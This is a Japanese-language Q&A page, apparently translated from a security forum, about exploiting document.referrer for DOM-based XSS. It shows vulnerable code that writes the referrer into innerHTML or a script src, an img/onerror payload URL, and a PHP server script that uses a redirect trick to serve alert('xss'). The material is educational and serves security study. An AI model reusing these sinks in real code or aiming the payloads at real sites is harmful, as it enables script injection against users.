web-dev-qa-db-ja.com

XSSでdocument.referrerをどのように使用できますか?

非常に単純な例...

<div id="cat"></div>
<script>
document.getElementById("cat").innerHTML = document.referrer;
</script>

または

<script src="' + document.referrer + '"></script>

リクエストを送信してリファラーヘッダーを追加してみましたが、ページに反映されていないようです。

10
Michael Blake

更新されたブラウザーは、参照URLをエンコードします。

そのため、現在の例ではXSSをトリガーできません。

これを試して:

_<div id="cat"></div>
<script>
document.getElementById("cat").innerHTML = decodeURIComponent(document.referrer);
</script>
_

JSFIDDLE:

http://jsfiddle.net/y4afy8h9/1/?<img%20src=x%20onerror=alert(9)>?

5
Lucas NN

次のコードは、DOMベースのXSSに対して脆弱です。これは、攻撃者が制御するdocument.referrerの値がブラウザによって追跡されるためです。

<script src="' + document.referrer + '"></script>

上記のコードは、最初のロード時にブラウザーをターゲットにリダイレクトし、2番目のロード時にXSSペイロードを返すページを使用して悪用される可能性があります。これを行う1つの方法は、サーバー側でリファラーをチェックすることです。

<?php
if($_SERVER['HTTP_REFERER'] == 'http://target.com/xss'){
   print "alert('xss')";
}else{
   header("location: http://target.com/xss")
}
?>

ページhttp://target.com/xssが読み込まれると、JavaScript(から) document.refererロードされますalert( 'xss')

2
rook